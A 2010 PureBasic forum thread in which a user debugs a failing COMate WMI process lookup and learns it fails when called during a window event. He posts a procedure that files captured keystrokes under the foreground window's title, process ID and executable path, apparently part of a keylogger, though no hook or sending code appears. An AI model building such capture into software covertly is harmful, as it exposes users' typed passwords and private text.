Page 1 of 1

COMate_GetObject

Posted: Fri Nov 05, 2010 4:26 am
by JHPJHP
The following Procedure works perfectly as is, can anyone tell me why it might not work when included with my other script.

I know how naive this sounds - it could be any number of reasons, and how can you tell me without knowing the environment, the other script, the OS, etc.

It's just that I run it as is and it returns correctly, I call it within my code and it fails at:

If objWMIService

I don't get it... it's an enclosed procedure - any light you can shed would be greatly appreciated.

Thank you,

Code: Select all

XIncludeFile "COMatePLUS.pbi"

Procedure.s MoreInfo(getPID)
  Define.COMateObject objWMIService, objProcess
  colProcessList.COMateEnumObject
  objWMIService = COMate_GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  
  If objWMIService
    colProcessList = objWMIService\CreateEnumeration("ExecQuery('SELECT * FROM Win32_Process WHERE ProcessID = " + Str(getPID) + "')")
    
    If colProcessList
      objProcess = colProcessList\GetNextObject()
      
      While objProcess
        moreCapture$ = "*" + Chr(9) + Chr(9) + "Executable Name:" + Chr(9) + objProcess\GetStringProperty("Name") + Chr(13) + Chr(10)
        moreCapture$ = moreCapture$ + "*" + Chr(9) + Chr(9) + "Executable Path: " + Chr(9) + objProcess\GetStringProperty("ExecutablePath") + Chr(13) + Chr(10)
        objProcess\Release()
        Break
      Wend
      colProcessList\Release()
    EndIf
    objWMIService\Release()
  Else
    moreCapture$ = "FAILED: " + Str(getPID) + Chr(13) + Chr(10)
  EndIf
  ProcedureReturn moreCapture$
EndProcedure
MessageRequester("PID", MoreInfo(592))

Re: COMate_GetObject

Posted: Fri Nov 05, 2010 9:32 am
by srod
We'd need some code which reproduces the problem.

Re: COMate_GetObject

Posted: Fri Nov 05, 2010 5:04 pm
by JHPJHP
Thank you for responding...

Is there some where I can post /attach / send the code - it's over 600 lines.

Thank you again,

Re: COMate_GetObject

Posted: Fri Nov 05, 2010 5:21 pm
by rsts
JHPJHP wrote:Thank you for responding...

Is there some where I can post /attach / send the code - it's over 600 lines.

Thank you again,
And it takes the entire 600 lines to demonstrate the problem?

cheers

Re: COMate_GetObject

Posted: Fri Nov 05, 2010 6:29 pm
by JHPJHP
That's the problem - there isn't one as such...

If I run the Procedure by itself (its own pb file) it returns what I need, when its added to my code, it fails at:

If objWMIService
...

There is no error (returns 0) - it just can't connect to the service. I'm not adding to it, just calling it from various parts of my script.

Here is a sample (thank you):

Code: Select all

Procedure ProcessInfo(keyCapture$)
  If getProcess$ = "T"
    Define hWnd = GetForegroundWindow_(), getPID, getHandle, getModule
    Define.MODULEENTRY32 getEntry
    arrFind = #False

    If hWnd
      GetWindowThreadProcessId_(hWnd, @getPID)

      If ArraySize(arrCapture(), 2) > 0
        For arrCount = 0 To ArraySize(arrCapture(), 2) - 1
          If arrCapture(3, arrCount) = Str(getPID)
            arrFind = #True
            Break
          EndIf
        Next
      EndIf

      If arrFind
        arrCapture(1, arrCount) = arrCapture(1, arrCount) + keyCapture$
      Else
        arrResize = ArraySize(arrCapture(), 2) + 1
        Redim arrCapture(3, arrResize)
        getTitle$ = Space(250)
        GetWindowText_(hWnd, getTitle$, 250)
        infoCapture$ = "*******************************************************************************" + Chr(13) + Chr(10)
        infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Date / Time:" + Chr(9) + Chr(9) + Chr(9) + FormatDate("%mm/%dd/%yyyy %hh:%ii:%ss", Date()) + Chr(13) + Chr(10)
        infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Process ID:" + Chr(9) + Chr(9) + Chr(9) + Chr(9) + Str(getPID) + Chr(13) + Chr(10)
        infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Process Title:" + Chr(9) + Chr(9) + getTitle$ + Chr(13) + Chr(10)
        getHandle = CreateToolhelp32Snapshot_(#TH32CS_SNAPMODULE | #TH32CS_SNAPMODULE32, getPID)

        If getHandle
          getEntry\dwSize = SizeOf(MODULEENTRY32)
          getModule = Module32First_(getHandle, getEntry)
  
          If getModule
            infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Executable Name:" + Chr(9) + PeekS(@getEntry\szModule) + Chr(13) + Chr(10)
            infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Executable Path: " + Chr(9) + PeekS(@getEntry\szExePath) + Chr(13) + Chr(10)
          Else
            infoCapture$ = infoCapture$ + MoreInfo(getPID)
;            infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Executable Name:" + Chr(9) + "N/A" + Chr(13) + Chr(10)
;            infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Executable Path: " + Chr(9) + "N/A" + Chr(13) + Chr(10)
          EndIf
          CloseHandle_(getHandle)
        EndIf
        infoCapture$ = infoCapture$ + "*******************************************************************************"
        arrCapture(1, arrResize - 1) = arrCapture(1, arrResize - 1) + keyCapture$
        arrCapture(2, arrResize - 1) = infoCapture$
        arrCapture(3, arrResize - 1) = Str(getPID)
      EndIf
    Else
      If ArraySize(arrCapture(), 2) > 0
        For arrCount = 0 To ArraySize(arrCapture(), 2) - 1
          If arrCapture(3, arrCount) = "0000"
            arrFind = #True
            Break
          EndIf
        Next
      EndIf

      If arrFind
        arrCapture(1, arrCount) = arrCapture(1, arrCount) + keyCapture$
      Else
        arrResize = ArraySize(arrCapture(), 2) + 1
        Redim arrCapture(3, arrResize)
        infoCapture$ = "*******************************************************************************" + Chr(13) + Chr(10)
        infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Date / Time:" + Chr(9) + Chr(9) + Chr(9) + FormatDate("%mm/%dd/%yyyy %hh:%ii:%ss", Date()) + Chr(13) + Chr(10)
        infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Process ID:" + Chr(9) + Chr(9) + Chr(9) + Chr(9) + "0000" + Chr(13) + Chr(10)
        infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Process Title:" + Chr(9) + Chr(9) + "N/A" + Chr(13) + Chr(10)
        infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Executable Name:" + Chr(9) + "N/A" + Chr(13) + Chr(10)
        infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Executable Path: " + Chr(9) + "N/A" + Chr(13) + Chr(10)
        infoCapture$ = infoCapture$ + "*******************************************************************************"
        arrCapture(1, arrResize - 1) = arrCapture(1, arrResize - 1) + keyCapture$
        arrCapture(2, arrResize - 1) = infoCapture$
        arrCapture(3, arrResize - 1) = "0000"
      EndIf
    EndIf
  Else
    arrCapture(1, 0) = arrCapture(1, 0) + keyCapture$
  EndIf
EndProcedure

Re: COMate_GetObject

Posted: Fri Nov 05, 2010 6:46 pm
by srod
Try sticking in a few Debug COMate_GetLastErrorDescription() to see if they shed any light on the matter.

Re: COMate_GetObject

Posted: Fri Nov 05, 2010 8:31 pm
by JHPJHP
Thanks srod - I've tried to use GetLastError_(), but with COMate_GetLastErrorDescription() I get:

Unknown error. (Code : Hex 8001010D). Please report this error code to the author at 'enquiries@nxsoftware.com'

Re: COMate_GetObject

Posted: Sat Nov 06, 2010 7:30 am
by JHPJHP
I think I figured it out:

I'm using a Repeat...Forever Loop with a WaitWindowEvent()...

Read the following concerning the error (thanks again srod):
"Events are processed synchronously, so basically you can't make that call while the event code is running"

So instead of calling the procedure in the middle of a Window Event, I wait until the Event completes, then make the call.

Can someone please confirm this - and is there another way to get this to work while a Window Event is processing?

Thank you,

Re: COMate_GetObject

Posted: Sat Nov 06, 2010 10:35 am
by srod
Sounds like this is to prevent deadlocks with inter-process / inter-thread SendMessage_()s etc. I wouldn't worry about it and would work around it.

Unless the messages are being sent by the shell, for example, you would probably make use of PostMessage_() instead of SendMessage_() to circumvent this problem. As I say, just work around it.

Re: COMate_GetObject

Posted: Sat Nov 06, 2010 6:43 pm
by JHPJHP
Thanks srod,

I was already using the PostMessage_(), but the problem was I needed to post the procedure, or at least process it on its own thread - and like you said, just work around it:

Code: Select all

Structure KEYINPUT
  keyPress.s
EndStructure

...
*keyValue.KEYINPUT = AllocateMemory(SizeOf(KEYINPUT))
*keyValue\keyPress = keyCapture$
CreateThread(@ProcessInfo(), *keyValue)
PostMessage_(JHPWindow, JHPMessage, 0, 0)
...

ClearStructure(*keyValue, KEYINPUT)
FreeMemory(*keyValue)
Cheers!